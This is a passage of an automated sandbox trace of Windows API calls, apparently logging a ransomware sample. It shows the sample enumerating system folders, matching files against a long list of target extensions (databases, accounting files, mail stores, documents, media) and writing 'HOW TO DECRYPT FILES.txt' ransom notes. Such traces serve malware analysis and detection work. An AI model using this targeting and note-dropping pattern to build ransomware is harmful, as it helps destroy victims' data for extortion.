(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.vdi") returned 0 [0109.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.lay6") returned 0 [0109.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.mpeg") returned 0 [0109.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.djvu") returned 0 [0109.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.tiff") returned 0 [0109.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.backup") returned 0 [0109.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.pdf") returned 0 [0109.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.cert") returned 0 [0109.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.docm") returned 0 [0109.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.xlsm") returned 0 [0109.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.dwg") returned 0 [0109.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.nd") returned 0 [0109.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.tlg") returned 0 [0109.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.lgb") returned 0 [0109.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.mov") returned 0 [0109.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.xdw") returned 0 [0109.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.ods") returned 0 [0109.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.wav") returned 0 [0109.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.mp3") returned 0 [0109.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.aiff") returned 0 [0109.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.flac") returned 0 [0109.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.m4a") returned 0 [0109.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualC\\692d1ed105277febf1550c93d00cd202\\Microsoft.VisualC.ni.dll", pszSpec="*.csv") returned 0 [0109.597] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24cb5e2b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x24cb5e2b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x24cdbf8b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualC.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.597] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.597] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252cf696, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x252cf696, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x252cf696, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="692d1ed105277febf1550c93d00cd202", cAlternateFileName="692D1E~1")) returned 0 [0109.597] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0109.597] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3728cdf0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x73e153e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x73e153e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.VisualStu#", cAlternateFileName="MICROS~3.VIS")) returned 1 [0109.597] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStu#") returned -1 [0109.597] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStu#") returned -1 [0109.597] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0109.597] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.VisualStu#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#" [0109.598] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3728cdf0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x73e153e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x73e153e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0109.608] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.608] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3728cdf0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x73e153e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x73e153e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.610] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.610] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.610] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37703730, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x37729890, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x37729890, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="06216e3a9e4ca262bc1e9a3818ced7fe", cAlternateFileName="06216E~1")) returned 1 [0109.611] lstrcmpA (lpString1=".", lpString2="06216e3a9e4ca262bc1e9a3818ced7fe") returned -1 [0109.611] lstrcmpA (lpString1="..", lpString2="06216e3a9e4ca262bc1e9a3818ced7fe") returned -1 [0109.611] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0109.611] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="06216e3a9e4ca262bc1e9a3818ced7fe" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe" [0109.611] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37703730, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x37729890, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x37729890, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.612] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.612] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37703730, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x37729890, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x37729890, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.612] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.612] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.612] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376dd5d0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x376dd5d0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x376dd5d0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0xea00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.612] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.612] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll") returned -1 [0109.612] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll") returned -1 [0109.612] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll") returned -1 [0109.613] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\*.*") returned="*.*" [0109.613] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\" [0109.613] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\") returned="" [0109.613] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\HOW TO DECRYPT FILES.txt" [0109.613] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\how to decrypt files.txt")) returned 0xffffffff [0109.613] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.616] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.617] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.617] CloseHandle (hObject=0x90) returned 1 [0109.618] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll" [0109.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0109.618] lstrlenA (lpString="*.ems") returned 5 [0109.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.db") returned 0 [0109.618] lstrlenA (lpString="*.db") returned 4 [0109.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0109.618] lstrlenA (lpString="*.dbf") returned 5 [0109.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0109.619] lstrlenA (lpString="*.myox") returned 6 [0109.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0109.619] lstrlenA (lpString="*.myo") returned 5 [0109.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0109.619] lstrlenA (lpString="*.qbw") returned 5 [0109.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0109.619] lstrlenA (lpString="*.qbb") returned 5 [0109.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0109.619] lstrlenA (lpString="*.qbm") returned 5 [0109.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0109.619] lstrlenA (lpString="*.qbo") returned 5 [0109.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0109.619] lstrlenA (lpString="*.qbx") returned 5 [0109.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0109.619] lstrlenA (lpString="*.qba") returned 5 [0109.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0109.619] lstrlenA (lpString="*.qby") returned 5 [0109.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0109.619] lstrlenA (lpString="*.qbj") returned 5 [0109.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0109.620] lstrlenA (lpString="*.ofx") returned 5 [0109.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0109.620] lstrlenA (lpString="*.qif") returned 5 [0109.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0109.620] lstrlenA (lpString="*.mye") returned 5 [0109.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0109.620] lstrlenA (lpString="*.mbox") returned 6 [0109.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0109.620] lstrlenA (lpString="*.eml") returned 5 [0109.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0109.620] lstrlenA (lpString="*.pst") returned 5 [0109.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0109.620] lstrlenA (lpString="*.ost") returned 5 [0109.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0109.620] lstrlenA (lpString="*.idx") returned 5 [0109.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0109.620] lstrlenA (lpString="*.dbx") returned 5 [0109.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0109.620] lstrlenA (lpString="*.sql") returned 5 [0109.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0109.620] lstrlenA (lpString="*.mdb") returned 5 [0109.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0109.620] lstrlenA (lpString="*.fdb") returned 5 [0109.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0109.620] lstrlenA (lpString="*.wab") returned 5 [0109.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0109.621] lstrlenA (lpString="*.dat") returned 5 [0109.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0109.621] lstrlenA (lpString="*.txt") returned 5 [0109.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0109.621] lstrlenA (lpString="*.jpeg") returned 6 [0109.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0109.621] lstrlenA (lpString="*.jpg") returned 5 [0109.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.png") returned 0 [0109.621] lstrlenA (lpString="*.png") returned 5 [0109.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.php") returned 0 [0109.621] lstrlenA (lpString="*.php") returned 5 [0109.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\06216e3a9e4ca262bc1e9a3818ced7fe\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0109.621] 